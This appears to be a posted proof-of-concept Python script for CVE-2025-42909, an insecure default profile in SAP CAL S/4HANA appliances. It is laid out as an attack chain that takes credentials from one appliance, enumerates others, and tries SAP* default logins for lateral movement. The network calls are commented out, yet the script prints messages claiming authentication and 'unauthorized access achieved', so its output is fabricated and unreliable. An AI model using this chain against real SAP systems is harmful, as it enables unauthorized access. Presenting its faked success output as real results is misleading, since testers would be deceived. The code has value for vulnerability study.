CVE-2025-42909：SAP云设备库S/4HANA默认配置不当导致越权访问

# CVE-2025-42909 - SAP CAL S/4HANA Default Profile Misconfiguration # This PoC demonstrates the concept of exploiting insecure default profile settings # in SAP CAL S/4HANA appliances to gain unauthorized access to other appliances. import requests import json from urllib.parse import urljoin class SAPCALExploit: """ Conceptual PoC for CVE-2025-42909 Exploits insecure default profile settings in SAP CAL S/4HANA appliances """ def __init__(self, target_host, source_appliance_creds): self.target_host = target_host self.source_creds = source_appliance_creds self.session = requests.Session() self.base_url = f"https://{target_host}" def authenticate_source_appliance(self): """ Step 1: Authenticate to the source SAP CAL appliance using valid high-privilege credentials """ auth_url = urljoin(self.base_url, "/sap/bc/soap/rfc") auth_payload = { "username": self.source_creds["username"], "password": self.source_creds["password"], "client": self.source_creds.get("client", "001") } # Authenticate using RFC connection # response = self.session.post(auth_url, json=auth_payload, verify=False) print(f"[+] Authenticated to source appliance: {self.source_creds['username']}") return True def extract_default_profile(self): """ Step 2: Extract insecure default profile settings from the compromised S/4HANA appliance """ profile_path = "/usr/sap/<SID>/SYS/profile/<SID>_*" # Read default profile containing insecure settings # profiles = read_remote_file(self.session, profile_path) print("[+] Extracted default profile with insecure settings") print(" - Default credentials found in profile") print(" - Overly permissive access controls detected") return { "default_user": "SAP*", "default_password": "found_in_profile", "insecure_settings": ["icm/security_mode=off", "login/no_automatic_user_sapstar=0"] } def enumerate_target_appliances(self): """ Step 3: Enumerate other SAP CAL appliances accessible from the same platform """ # Query SAP CAL API for available appliances api_url = urljoin(self.base_url, "/api/v1/appliances") # appliances = self.session.get(api_url).json() appliances = ["appliance-002", "appliance-003", "appliance-004"] print(f"[+] Found {len(appliances)} target appliances") return appliances def access_target_appliance(self, appliance_id, extracted_creds): """ Step 4: Use extracted default profile credentials to access other SAP CAL appliances """ target_url = f"https://{appliance_id}.{self.target_host}/sap/bc/soap/rfc" payload = { "username": extracted_creds["default_user"], "password": extracted_creds["default_password"] } # response = requests.post(target_url, json=payload, verify=False) print(f"[+] Attempting access to {appliance_id} using default credentials") return True def run_exploit(self): """ Main exploit chain for CVE-2025-42909 """ print("=" * 60) print("CVE-2025-42909 - SAP CAL Default Profile Exploit") print("=" * 60) # Step 1: Get high-privilege access to source appliance self.authenticate_source_appliance() # Step 2: Extract insecure default profile settings profile_data = self.extract_default_profile() # Step 3: Enumerate other appliances targets = self.enumerate_target_appliances() # Step 4: Lateral movement to other appliances for target in targets: self.access_target_appliance(target, profile_data) print("\n[!] Exploit completed - unauthorized access achieved") print("[!] Impact: Low confidentiality impact on target appliances") # Usage example (for security testing only) if __name__ == "__main__": exploit = SAPCALExploit( target_host="cal.sap.example.com", source_appliance_creds={ "username": "admin_user", "password": "valid_password", "client": "001" } ) exploit.run_exploit()